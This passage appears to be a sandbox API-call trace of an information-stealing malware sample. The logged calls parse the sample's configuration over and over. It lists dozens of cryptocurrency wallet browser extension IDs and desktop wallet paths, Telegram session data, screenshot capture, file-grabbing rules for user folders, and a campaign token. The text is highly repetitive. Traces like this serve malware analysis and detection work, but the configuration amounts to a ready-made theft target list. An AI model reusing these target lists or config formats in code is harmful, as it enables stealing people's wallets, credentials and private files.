Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.623] lstrlenW (lpString="ews_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4555 [0259.623] LocalAlloc (uFlags=0x40, uBytes=0x2416) returned 0x6ef5a0 [0259.624] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0259.625] LocalFree (hMem=0x6ef5a0) returned 0x0 [0259.625] StrStrW (lpFirst="ews_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.625] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0259.625] LocalFree (hMem=0x6b9720) returned 0x0 [0259.625] LocalFree (hMem=0x6bbac0) returned 0x0 [0259.626] LocalFree (hMem=0x6bde60) returned 0x0 [0259.627] StrStrW (lpFirst="ews_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local 